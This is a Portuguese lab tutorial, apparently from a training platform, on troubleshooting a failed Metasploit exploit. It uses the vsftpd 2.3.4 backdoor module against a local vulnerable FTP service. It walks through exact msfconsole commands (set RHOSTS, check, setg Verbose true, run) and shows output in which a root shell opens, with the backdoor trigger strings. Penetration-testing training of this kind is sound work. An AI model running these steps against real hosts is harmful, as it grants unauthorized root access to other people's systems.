Solucionar um Exploit com Falha no Metasploit

Kali LinuxBeginner
Pratique Agora

Introdução

Metasploit é um poderoso framework de testes de penetração que simplifica o hacking. No entanto, mesmo com as melhores ferramentas, exploits podem falhar por vários motivos: informações incorretas do alvo, um sistema corrigido (patched) ou problemas de rede. Saber diagnosticar e corrigir essas falhas é uma habilidade crítica para qualquer profissional de segurança.

Neste laboratório, você aprenderá o fluxo de trabalho básico para solucionar um exploit com falha no Metasploit. Nós intencionalmente configuraremos incorretamente um exploit, observaremos a falha e, em seguida, usaremos as ferramentas integradas do Metasploit para identificar e corrigir o problema. Você aprenderá a usar comandos como show options, check e a configuração Verbose para obter as informações necessárias para ter sucesso.

Para este laboratório, um servidor FTP vulnerável foi iniciado em segundo plano em sua máquina local, que servirá como nosso alvo.

Selecionar um exploit e definir opções incorretas

Nesta etapa, iniciaremos o console do Metasploit Framework, selecionaremos um módulo de exploit e o configuraremos intencionalmente com uma opção incorreta para simular um erro comum do usuário. Isso preparará o terreno para o processo de solução de problemas.

Primeiro, abra seu terminal e inicie o console do Metasploit. Usamos o sinalizador -q (quiet) para pular o banner e acelerar o processo de carregamento.

msfconsole -q

Assim que estiver no prompt msf6 >, pesquisaremos um exploit que tenha como alvo o serviço vsftpd.

search vsftpd

Você verá uma lista de módulos. Estamos interessados no exploit/unix/ftp/vsftpd_234_backdoor. Vamos selecioná-lo usando o comando use.

use exploit/unix/ftp/vsftpd_234_backdoor

Seu prompt mudará para indicar que o módulo de exploit está ativo. Agora, precisamos configurar o alvo. A opção mais importante é RHOSTS, que significa Remote Hosts (Hosts Remotos). Deliberadamente definiremos isso para um endereço IP incorreto.

set RHOSTS 192.168.1.100

Você verá uma confirmação de que RHOSTS foi definido. Agora preparamos um exploit que certamente falhará.

Executar o exploit e observar a mensagem de falha

Nesta etapa, você executará o exploit mal configurado e aprenderá a interpretar a mensagem de falha resultante. Esta é a primeira e mais crucial parte da solução de problemas.

Com o exploit vsftpd_234_backdoor selecionado e o RHOSTS incorreto definido, vamos tentar executá-lo. Você pode usar o comando run ou exploit.

run

O exploit tentará se conectar ao endereço IP que fornecemos (192.168.1.100). Como este host não é alcançável do ambiente do laboratório, o exploit falhará. Você verá uma saída semelhante a esta:

[*] 192.168.1.100:21 - The target is not exploitable.
[*] Exploit completed, but no session was created.

A mensagem The target is not exploitable ou uma mensagem de erro de conexão semelhante é um indicador claro de que o Metasploit não conseguiu alcançar ou interagir com o serviço alvo. Isso nos diz que o problema provavelmente está relacionado à rede ou à configuração do host alvo.

Usar o comando show options para revisar a configuração

Nesta etapa, após observar uma falha, a primeira ação lógica é revisar nossas configurações. O comando show options é a ferramenta principal para essa tarefa. Ele exibe todos os parâmetros configuráveis para o módulo atual.

Vamos verificar as opções que definimos para nosso exploit.

show options

Este comando exibirá uma tabela de opções para o exploit vsftpd_234_backdoor:

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting    Required  Description
   ----    ---------------    --------  -----------
   RHOSTS  192.168.1.100      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   21                 yes       The target port (TCP)


Payload options (cmd/unix/interact):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Exploit target:

   Id  Name
   --  ----
   0   Automatic

Observe atentamente o Current Setting para RHOSTS. É 192.168.1.100, que sabemos estar incorreto. O serviço vulnerável para este laboratório está em execução na máquina local. O endereço IP da máquina local é 127.0.0.1.

Vamos corrigir o valor de RHOSTS.

set RHOSTS 127.0.0.1

Agora, se você executar show options novamente, verá que o valor de RHOSTS foi atualizado corretamente.

Usar o comando check para testar a explorabilidade

Nesta etapa, você aprenderá a usar o comando check. Antes de executar um exploit, é frequentemente sensato verificar se o alvo é realmente vulnerável. O comando check permite que você faça isso com segurança, sem executar o payload do exploit. Observe que nem todos os módulos suportam este recurso.

Agora que corrigimos a opção RHOSTS, vamos usar check para ver se o Metasploit considera o alvo vulnerável.

check

Se o alvo estiver configurado corretamente e o serviço for vulnerável, você deverá ver uma mensagem de confirmação positiva.

[*] 127.0.0.1:21 - The target is vulnerable.

Esta mensagem, The target is vulnerable, nos dá alta confiança de que o exploit será bem-sucedido quando o executarmos. Ela confirma que o Metasploit conseguiu se conectar ao alvo e verificar a presença da backdoor. Se tivesse falhado, precisaríamos investigar mais, mas por enquanto, este é um sinal muito bom.

Definir a opção Verbose como true e reexecutar para mais detalhes

Nesta etapa, você aprenderá sobre a opção Verbose. Às vezes, mesmo quando check é bem-sucedido, um exploit pode falhar. Para obter mais informações sobre o que o exploit está fazendo nos bastidores, você pode habilitar o registro detalhado (verbose logging). Esta é uma configuração global que afeta todos os módulos.

Vamos habilitar o modo verbose usando o comando setg, que define um valor globalmente.

setg Verbose true

Agora, com o modo verbose habilitado e o RHOSTS correto, vamos executar o exploit novamente.

run

Desta vez, você verá uma saída muito mais detalhada. O registro verbose mostra o processo passo a passo do exploit, incluindo tentativas de conexão e dados sendo enviados. Mais importante, o exploit agora deve ser bem-sucedido.

[*] 127.0.0.1:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 127.0.0.1:21 - USER: Sending "USER back:)"
[*] 127.0.0.1:21 - PASS: Sending "PASS moor"
[+] 127.0.0.1:21 - Found shell.
[*] Command shell session 1 opened (127.0.0.1:43999 -> 127.0.0.1:6200) at 2023-10-27 10:00:00 -0400

Sucesso! A mensagem Command shell session 1 opened confirma que você comprometeu com sucesso o alvo. Agora você tem um shell de comando no sistema remoto. Você pode testá-lo executando um comando simples como whoami.

whoami

Você deverá ver a saída root. Para sair do shell e retornar ao prompt do Metasploit, pressione Ctrl + C ou digite exit.

Resumo

Parabéns por completar o laboratório! Você aprendeu com sucesso o processo fundamental para solucionar problemas de um exploit com falha no Metasploit Framework.

Neste laboratório, você praticou uma abordagem sistemática para a resolução de problemas:

  1. Observar a Falha: Você primeiro executou um exploit mal configurado para vê-lo falhar.
  2. Revisar Opções: Você usou show options para inspecionar a configuração e identificar um valor incorreto para RHOSTS.
  3. Verificar Vulnerabilidade: Você usou o comando check para verificar com segurança se o alvo era vulnerável após corrigir a configuração.
  4. Obter Mais Detalhes: Você aprendeu a usar setg Verbose true para obter uma saída detalhada, passo a passo, que é inestimável para diagnosticar problemas mais complexos.

Essas habilidades essenciais o ajudarão a superar obstáculos comuns e a usar o Metasploit de forma mais eficaz em suas atividades de teste de penetração.